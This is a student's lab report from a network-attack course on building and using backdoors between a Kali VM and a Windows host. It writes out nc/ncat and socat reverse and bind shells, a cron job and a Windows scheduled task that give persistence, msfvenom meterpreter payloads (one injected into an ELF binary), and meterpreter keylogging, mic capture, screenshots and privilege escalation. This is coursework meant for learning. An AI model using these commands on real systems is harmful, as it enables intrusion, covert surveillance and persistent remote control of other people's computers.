2019-2020-2 20175208 张家华 网络对抗技术 Exp2 后门原理与实践

2019-2020-2 20175208 张家华 网络对抗技术 Exp2 后门原理与实践

实验内容

  • 使用netcat获取主机操作Shell,cron启动;
  • 使用socat获取主机操作Shell, 任务计划启动;
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
  • 捆绑在下载的软件或者在浏览网页的某些链接中,或者被绑定了后门,当下载或者误点链接时就带到了自己的系统中
(2)例举你知道的后门如何启动起来(win及linux)的方式?
  • win中可以与某些自启动项(如:后门)绑定,开机时自动启动将后门程序与正常软件绑定,用户使用软件使启动。
  • Linux可以通过cron启动:通过crontab -e修改任务计划表,插入启动指令。
  • 通过修改注册表,设置后门程序自启动。
(3)Meterpreter有哪些给你映像深刻的功能?
  • 获取目标的摄像头,录音机等权限进行拍摄、录音记录
  • 可以监控目标的许多行动,感到很可怕
(4)如何发现自己有系统有没有被安装后门?
  • 查看系统的自启动项,注册表有无异常
  • 查看进程有无异常
  • 查看端口有无异常
  • 开启防火墙
  • 开启杀毒软件

实验过程

实验准备及常用后门工具了解或测试

ncat
  • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
准备
  • 通过命令查看windows主机及kail机的ip,同时检查两者是否互ping通过
  • 在老师提供的附件中下载ncat.rar
windows(ipconfig):196.168.1.5
kail(ifconfig):196.168.233.131
windows获取linux Shell
  • 在windows中用ncat打开一个监听端口,端口号5208ncat.exe -l -p 5208
  • 在kail中使用nc命令-e选项执行shell,反向连接至主机对应端口nc 192.168.1.5 5208 -e /bin/sh
  • 进入主机,通过命令ls/或其他,验证运行kail的shell

     

     

linux获取Windows shell
  • 具体流程和上述差不多:kail下设置端口nc -l -p 5208,Windows下设置反向链接ncat.exe -e cmd.exe 192.168.233.131 5208
  • 在kail中运行cmd.exe命令

     

     

通过nc在两者间传输数据
  • 直接传输文字:主机下建立监听端口5208ncat.exe -l 5208,kail下建立连接至主机端口nc 192.168.1.5 5208,建立成功后可进行文字传输

     

     

  • 传输文件:Windows下建立端口同时定义接收地址ncat.exe -l 5208 > file.in,kail下创建测试文件file.out,连接至主机进行文件输送nc 192.168.1.5 5208 < file.out

     

     

     

socat
  • 其是ncat的增强版
  • 使用格式:socat [options] <address> <address>```,address是必选项,而options``是可选项
  • 在后面任务二有具体应用,可先到老师提供附件下载socat.rar
Meterperter
  • 后门就是一个程序
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
  • 详细点击链接

任务一、使用netcat获取主机操作Shell,cron启动

  • 同准备阶段,在Windows中设立监听端口ncat.exe -l -p 5208
  • 通过百度或者man cron(看得懂的话)了解到:crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于对应文件中,以供之后读取和执行。
  • 利用crontab -e指令编写一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3即为vim编辑器

     

     

  • crontab -l可查看编辑情况
  • 增加命令为24 * * * * /bin/netcat 192.168.1.5 5208 -e /bin/sh即为每个小时的第24分钟时执行后方命令(数字填写以自己做实验的时间来定)

     

     

  • 当时间到后进行测试,此时可以看出未到时间时,是无法执行获取kail shell的

     

     

     

任务二、使用socat获取主机操作Shell, 任务计划启动

  • 在Windows系统下,打开控制面板->系统和安全->管理工具找到任务计划程序开始创建任务

  • 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定

     

     

  • 点击常规选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5208 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5208,同时把cmd.exestderr重定向到stdout上:

     

     

     

 

 

 

  • 创建完成之后,windows+L锁定计算机让任务开始执行。然后在Kali环境下输入指令socat - tcp:192.168.1.5:5208这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5208端口,此时可以发现已经成功获得了一个cmd shell

     

     

     

     

     

  • 在做任务二时可以新建触发器像任务一一样定时完成,任务开始执行后命令和上面一样

任务三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;

  • 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.131 LPORT=5208 -f exe > 20175208_backdoor.exe

此时因为在控制端生成后门,所以此ip为kail的ip地址

  • 同准备阶段:将生成的后门程序传输到主机
  • 在主机下执行ncat.exe -l 5208 > 201725208_backdoor.exe
  • 在kali中通过nc 192.168.1.5 5208 < 20175208_backdoor.exe将生成的后门程序传送到主机上

     

     

     

  • 回到控制端,通过命令msfconsole进入控制台

  • 调用监听模块,设置与生成后门时相同的payload,同时设置返回的ip和端口号
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.233.131
set LPORT 5208
  • 设置完成,执行监听exploit
  • 回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell

     

     

任务四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;

  • 保持任务三,之后进行任务四操作
  • 使用record_mic指令截获一段音频

     

     

  • 使用screenshot指令可以进行截屏

     

     

  • 在kali中使用keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录

     

     

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权(提权操作可在别的win7虚拟机下进行)

     

     

     

     

     

任务五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

  • 此任务在通过学习老师给的资料及[学姐的博客](https://www.cnblogs.com/clever-universe/p/8691365.html)得以完成
  • 首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。与任务三不同在linux中有效载荷不同linux中的有效载荷为linux/x86/meterpreter/reverse_tcp可通过命令msfvenom -l payload
  • pwn1是ELF文件,查看pwn1是多少位的:readelf -h pwn1

 

 

 

Magic后第五个值是01,表明pwn1是32位的。(64位对应值02)

  • 打开MSF:msfconsole
  • 查看payload:show payloads

 

 

 

选择linux/x86/meterpreter/reverse_tcp

  • 通过命令生成后门程序msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.233.131 LPORT=5208 -x pwn1 -f elf > overdoor_2_5

     

     

     

     

  • 因为我们需要注入pwn1所以选用的格式为ELF;-x参数用来指定我们的模板pwn1就写入到pwn1这个可执行文件中。
  • 最后就是按照之前的步骤使用两个终端检验后门程序的注入情况


    不过这个程序需要``chmod +x``修改一些程序权限后门才能运行

实验总结

(一)实验过程中遇到的问题:

一、虚拟机里未安装USB无线网卡驱动,使得无法拍照/录像:

解决办法:

1.安装内核源代码(需要联网)。
apt-get install linux-source

2.安装内核头文件(需要联网)。
apt-get install linux-headers-$(uname -r)

3.安装编译环境(需要联网) 。
apt-get install build-essential

4.下载驱动解压后,cd到驱动目录下,然后make命令编译,然后再用make install命令安装,最后重启。
命令如下:
git clone https://github.com/porjo/mt7601.git
cd mt7601/src
make
make install
reboot

5.重启后运行ifconfig后可以看到新增了一个ra0就是无线网卡
详情请见:

安装内核源代码(需要联网)。
apt-get install linux-source

安装内核头文件(需要联网)。
apt-get install linux-headers-$(uname -r)

安装编译环境(需要联网) 。
apt-get install build-essential

下载驱动解压后,cd到驱动目录下,然后make命令编译,然后再用make install命令安装,最后重启。
命令如下:
git clone https://github.com/porjo/mt7601.git
cd mt7601/src
make
make install
reboot

重启后运行ifconfig后可以看到新增了一个ra0就是无线网卡


详情请见:https://blog.csdn.net/swjtu100/article/details/50543260

二、无法安装内核头文件:

解决办法:

1.先更新数据:

apt-get update

2.执行

apt-cachesearch linux-

3.查看一下列表中的

linux-headers-xxx linux-image-xxx

 

4.然后apt-get install 安装就是了 

详情请见:https://blog.csdn.net/Mike_Roger/article/details/79180512

三、后门文件建立成功后无法运行:

解决办法:

1、首先进入开始菜单,然后在菜单中找到控制面板,单击控制面板这个选项进入控制面板窗口界面

2、进入到控制面板界面,在这个界面上可以看到系统自带的控制面板选项,找到Windows防火墙选项并单击它

3、接着就进入了在Windows防火墙主页面,在这个主页面左上方找到允许程序或功能通过防火墙,然后单击这个选项

4、这时候就到了允许程序通过Windows防火墙通信界面,这个界面上我们可以添加或者删除程序

5、添加要通过防火墙通信的软件单击允许运行另一程序,这时候弹出来一个框,在框中上下移动选择你要添加的软件程序,选中这个程序然后单击添加按钮即可

详情请见:https://jingyan.baidu.com/article/215817f7ee24a01eda1423a6.html

(二)实验感想:

  本次实验过程中除了电脑偶尔卡机、虚拟机偶尔崩、虚拟机的配置有点问题外其他的还都挺好的。。。。

  本次实验前老师讲了一部分,说全是操作,我以为很好完成,结果。。。花费的时间比第一次长的多。

  其次,感觉还是手动做实验更容易吸收一些知识点,做完实验后感觉学到了很多

  最后,通过本次试验深刻体会到了攻击的可怕与强大,突然就感觉自己电脑里由很多的后门。不过这东西自己玩玩还是很有意思的。

 

posted @ 2020-03-22 16:00  20175208-张家华  阅读(257)  评论(0编辑  收藏  举报